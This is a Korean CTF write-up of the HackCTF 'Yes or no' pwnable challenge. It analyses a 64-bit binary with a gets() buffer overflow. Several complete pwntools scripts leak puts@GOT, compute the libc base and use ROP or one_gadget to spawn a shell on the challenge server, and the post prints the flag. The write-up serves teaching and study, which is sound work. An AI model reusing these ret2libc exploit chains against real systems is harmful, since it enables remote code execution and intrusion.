[문제]


[풀이]

스터디 할 때 만들어갔던 ppt도 첨부!

Pwnable 7week.pptx
2.51MB

 

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 int형의 입력 값을 받음
  • do_system+1094를 hint로 제공

 

do_system+1094

💡 2.27 glibc 버전에서 발생하는 system 함수 내에서 생성되는 오류 rsp의 값이 16바이트로 채워져 있지 않으면 do_system+1094 에 존재하는 명령어에서 오류 발생

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@2
  int v4; // eax@2
  int v5; // ecx@6
  int v6; // eax@6
  int v7; // eax@8
  char s; // [rsp+Eh] [rbp-12h]@1
  int v10; // [rsp+18h] [rbp-8h]@1
  int v11; // [rsp+1Ch] [rbp-4h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \\"do_system+1094\\".\\ngood luck");
    }
  }
  return 0;
}
  • 특정한 연산을 통해 값을 비교하여 일치 여부에 따라 분기 → 일치해야 하는 값은 정적으로 분석하기 어려움으로 gdb로 분석
  • gets 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400558  _init
0x0000000000400580  puts@plt
0x0000000000400590  printf@plt
0x00000000004005a0  fgets@plt
0x00000000004005b0  gets@plt
0x00000000004005c0  setvbuf@plt
0x00000000004005d0  atoi@plt
0x00000000004005e0  _start
0x0000000000400610  _dl_relocate_static_pie
0x0000000000400620  deregister_tm_clones
0x0000000000400650  register_tm_clones
0x0000000000400690  __do_global_dtors_aux
0x00000000004006c0  frame_dummy
0x00000000004006c7  main
0x0000000000400820  __libc_csu_init
0x0000000000400890  __libc_csu_fini
0x0000000000400894  _fini
  • main 주소: 0x00000000004006c7

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006c7 <+0>:	push   rbp
   0x00000000004006c8 <+1>:	mov    rbp,rsp
   0x00000000004006cb <+4>:	sub    rsp,0x20
   0x00000000004006cf <+8>:	mov    rax,QWORD PTR [rip+0x20098a]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x00000000004006d6 <+15>:	mov    ecx,0x0
   0x00000000004006db <+20>:	mov    edx,0x2
   0x00000000004006e0 <+25>:	mov    esi,0x0
   0x00000000004006e5 <+30>:	mov    rdi,rax
   0x00000000004006e8 <+33>:	call   0x4005c0 <setvbuf@plt>
   0x00000000004006ed <+38>:	mov    DWORD PTR [rbp-0x4],0x5
   0x00000000004006f4 <+45>:	lea    rdi,[rip+0x1ad]        # 0x4008a8
   0x00000000004006fb <+52>:	call   0x400580 <puts@plt>
   0x0000000000400700 <+57>:	mov    rdx,QWORD PTR [rip+0x200969]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400707 <+64>:	lea    rax,[rbp-0x12]
   0x000000000040070b <+68>:	mov    esi,0xa
   0x0000000000400710 <+73>:	mov    rdi,rax
   0x0000000000400713 <+76>:	call   0x4005a0 <fgets@plt>
   0x0000000000400718 <+81>:	lea    rax,[rbp-0x12]
   0x000000000040071c <+85>:	mov    rdi,rax
   0x000000000040071f <+88>:	mov    eax,0x0
   0x0000000000400724 <+93>:	call   0x4005d0 <atoi@plt>
   0x0000000000400729 <+98>:	mov    DWORD PTR [rbp-0x8],eax
   0x000000000040072c <+101>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040072f <+104>:	sub    eax,0xa
   0x0000000000400732 <+107>:	sar    eax,0x3
   0x0000000000400735 <+110>:	test   eax,eax
   0x0000000000400737 <+112>:	js     0x40074b <main+132>
   0x0000000000400739 <+114>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040073c <+117>:	lea    edx,[rax+0x1]
   0x000000000040073f <+120>:	mov    DWORD PTR [rbp-0x4],edx
   0x0000000000400742 <+123>:	mov    edx,DWORD PTR [rbp-0x8]
   0x0000000000400745 <+126>:	sub    edx,eax
   0x0000000000400747 <+128>:	mov    eax,edx
   0x0000000000400749 <+130>:	jmp    0x400750 <main+137>
   0x000000000040074b <+132>:	mov    eax,0x0
   0x0000000000400750 <+137>:	cmp    eax,DWORD PTR [rbp-0x8]
   0x0000000000400753 <+140>:	jne    0x400766 <main+159>
   0x0000000000400755 <+142>:	lea    rdi,[rip+0x162]        # 0x4008be
   0x000000000040075c <+149>:	call   0x400580 <puts@plt>
   0x0000000000400761 <+154>:	jmp    0x40080a <main+323>
   0x0000000000400766 <+159>:	add    DWORD PTR [rbp-0x4],0x1
   0x000000000040076a <+163>:	mov    eax,0x4b4
   0x000000000040076f <+168>:	cdq    
   0x0000000000400770 <+169>:	idiv   DWORD PTR [rbp-0x4]
   0x0000000000400773 <+172>:	mov    ecx,eax
   0x0000000000400775 <+174>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400778 <+177>:	lea    edx,[rax+0x1]
   0x000000000040077b <+180>:	mov    DWORD PTR [rbp-0x4],edx
   0x000000000040077e <+183>:	mov    esi,ecx
   0x0000000000400780 <+185>:	imul   esi,eax
   0x0000000000400783 <+188>:	add    DWORD PTR [rbp-0x4],0x1
   0x0000000000400787 <+192>:	mov    ecx,DWORD PTR [rbp-0x4]
   0x000000000040078a <+195>:	mov    edx,0x66666667
   0x000000000040078f <+200>:	mov    eax,ecx
   0x0000000000400791 <+202>:	imul   edx
   0x0000000000400793 <+204>:	sar    edx,0x3
   0x0000000000400796 <+207>:	mov    eax,ecx
   0x0000000000400798 <+209>:	sar    eax,0x1f
   0x000000000040079b <+212>:	sub    edx,eax
   0x000000000040079d <+214>:	mov    eax,edx
   0x000000000040079f <+216>:	shl    eax,0x2
   0x00000000004007a2 <+219>:	add    eax,edx
   0x00000000004007a4 <+221>:	shl    eax,0x2
   0x00000000004007a7 <+224>:	sub    ecx,eax
   0x00000000004007a9 <+226>:	mov    edx,ecx
   0x00000000004007ab <+228>:	lea    eax,[rdx+0x5]
   0x00000000004007ae <+231>:	mov    ecx,eax
   0x00000000004007b0 <+233>:	shl    esi,cl
   0x00000000004007b2 <+235>:	mov    eax,esi
   0x00000000004007b4 <+237>:	cmp    DWORD PTR [rbp-0x8],eax
   0x00000000004007b7 <+240>:	jne    0x4007d8 <main+273>
   0x00000000004007b9 <+242>:	lea    rdi,[rip+0x11c]        # 0x4008dc
   0x00000000004007c0 <+249>:	call   0x400580 <puts@plt>
   0x00000000004007c5 <+254>:	lea    rax,[rbp-0x12]
   0x00000000004007c9 <+258>:	mov    rdi,rax
   0x00000000004007cc <+261>:	mov    eax,0x0
   0x00000000004007d1 <+266>:	call   0x4005b0 <gets@plt>
   0x00000000004007d6 <+271>:	jmp    0x40080a <main+323>
   0x00000000004007d8 <+273>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004007db <+276>:	lea    edx,[rax-0x1]
   0x00000000004007de <+279>:	mov    DWORD PTR [rbp-0x4],edx
   0x00000000004007e1 <+282>:	cmp    DWORD PTR [rbp-0x8],eax
   0x00000000004007e4 <+285>:	jne    0x4007fe <main+311>
   0x00000000004007e6 <+287>:	lea    rdi,[rip+0x106]        # 0x4008f3
   0x00000000004007ed <+294>:	mov    eax,0x0
   0x00000000004007f2 <+299>:	call   0x400590 <printf@plt>
   0x00000000004007f7 <+304>:	mov    eax,0x0
   0x00000000004007fc <+309>:	jmp    0x40080f <main+328>
   0x00000000004007fe <+311>:	lea    rdi,[rip+0x103]        # 0x400908
   0x0000000000400805 <+318>:	call   0x400580 <puts@plt>
   0x000000000040080a <+323>:	mov    eax,0x0
   0x000000000040080f <+328>:	leave  
   0x0000000000400810 <+329>:	ret    
End of assembler dump.
  • flag를 출력하기 위해 값을 비교하여 분기하는 부분은 main+237에서 진행
  • main+237에 bp를 걸어 비교 값 확인

  • 사용자의 입력은 0x7fffffffde48에 저장
  • rax레지스터에 0x96000이 있는 것으로 보아 해당 값과 사용자의 입력 값을 비교하는 것을 알 수 있음

→ 사용자는 9830400을 입력 해야 flag 획득을 위한 분기문에 접근할 수 있음

  • 9830400 입력 시, 특정 문구와 함께 gets함수로 사용자의 입력을 받음

→ BOF 발생, 그러나 shell을 실행할 수 있는 함수나 코드가 존재하지 않음

→ ROP를 이용하여 system(”/bin/sh”)를 실행하도록 조작

 

문제 해결

💡 1. gets 함수를 통해 BOF 공격 → RET 부분을 이용해 ROP 공격
2. printf나 puts 함수를 이용해 offset 구하기
2. got주소 - symbols 주소를 통해 offset 구하기 → libc_base 주소 구할 수 있음
3. libc_base + system offset / libc_base + binsh offset으로 실제 주소 구하기
4. dummy + system + ret + /bin/sh 형태의 exploit

 

  1. gets 함수를 통해 BOF 공격 발생
  • BOF 공격을 위해서는 buffer 크기(dummy)를 알아야 함

  • 사용자의 입력은 0x7fffffffde4e에 저장됨
  • 0x7fffffffde68에서 __libc_start_main+231 확인
  • 사용자의 입력~0x7fffffffde68까지의 offset = 26(0x1a)

 

2. puts 함수를 이용해 offset 구하기

  • puts, printf, write 등의 함수는 사용자에게 특정한 값을 출력해주는 함수임
    • 문제에서는 puts함수나 printf 함수를 이용할 수 있음
    • ALSR이 적용된 바이너리에서 주소들의 base를 구하기 위해서는 현재 바이너리에 puts 함수를 나타내는 symbols 주소와 GOT 주소의 차를 통해 offset를 구해야 함.
    • 이를 위해서는 바이너리를 실행했을 때 설정된 got 주소를 출력해줘야 함. 구한 값을 사용하기 위해서는 사용자에게 출력해주고, 이를 pwntools에서 recv 함수를 통해 즉석으로 받아오는 과정이 필요함. → memory leak
  • puts 함수의 인자를 빼준 후(pop rdi; ret), 해당 인자를 puts 함수의 got으로 넣어주면 puts(puts@got)으로 사용자에게 got주소를 출력해줄 것임
  • 64bit 아키텍처에서 인자는 아래와 같은 순서로 레지스터에 담김
💡 Parameter 1 - rdi
Parameter 2 - rsi
Parameter 3 - rdx
Parameter 4 - rcx
Parameter 5 - r8
Parameter 6 - r9
Parameter 7 - (%rsp)
Parameter 8 - 0x8(%rsp)
system call - %rax

 

64bit rop

💡 32bit에서는 함수 주소 + 가젯 + 인자 + ret 과 같은 형태로 이용
x64에서는 Gadgets을 이용해 인자 값을 레지스터에 먼저 저장 후 함수 호출함
  • dummy(26) + puts@plt + pop rdi; ret + puts@got + main의 형태가 아니라
    • dummy(26) + pop rdi; ret + puts@got + puts@plt + main으로 사용해야 함
    • pop rdi; ret 가젯을 레지스터에 저장후, 인자 세팅. 이후에 puts함수 호출. 마지막은 ret으로 system(”/bin/sh”)를 한 번에 실행하기 위해 다시 main함수로 돌아감.

 

가젯 구하기

pop rdi; ret: 0x0000000000400883

ret: 0x40056e

  • RTL 기본 Exploit [dummy] + [system] + [ret(dummy)] + [/bin/sh]
    → puts의 인자로 /bin/sh주고 ret에 system을 불러올 것!

 

Python - puts@got 주소 leak

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = e.libc
libc = ELF("libc-2.27.so")

#address
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
gadget = p64(0x400883)
main = p64(e.symbols['main'])

#payload
payload = "a"*26
payload += gadget
payload += puts_got
payload += puts_plt
payload += main

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

 

Python - base 주소 계산

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")

#address
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
puts_symbols = e.symbols['puts']
gadget = p64(0x400883)
ret_gadget = p64(0x40056e)
main = p64(e.symbols['main'])

#system('/bin/sh')
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]

#payload to leak
payload = "a"*26
payload += gadget
payload += puts_got
payload += puts_plt
payload += main

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")

#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]

#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))

#exploit
payload2 = "a"*26
payload2 += p64(gadget)
payload2 += p64(binsh_address)
payload2 += p64(ret_gadget)
payload2 += p64(system_address)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)

p.interactive()

 

Python - One_Gadget

  • 0x4f2c5와 0x10a38c로 one shot gadget을 이용할 경우 단순히 one_gadget 주소만 구하면 됨
  • 0x4f322의 경우 강제로 null 조건을 맞추면 사용할 수 있음

 

0x4f2c5와 0x10a38c gadget 이용시

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")

#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]
one_gadget = 0x4f2c5

#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))
one_address = base_address+ one_gadget

#exploit
payload2 = "a"*26
payload2 += p64(one_address)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)

p.interactive()

 

0x4f322 gadget 이용시

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")

#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]
one_gadget = 0x4f322

#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))
one_address = base_address+ one_gadget

#exploit
payload2 = "a"*26
payload2 += p64(one_address)
payload2 += p64(0)*100

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)

p.interactive()


flag

🍒 HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Offset  (0) 2022.10.30
[HackCTF] BOF_PIE  (0) 2022.10.30
[HackCTF] RTL_World  (0) 2022.10.30
[HackCTF] g++ pwn  (0) 2022.10.30
[HackCTF] Poet  (0) 2022.10.30

+ Recent posts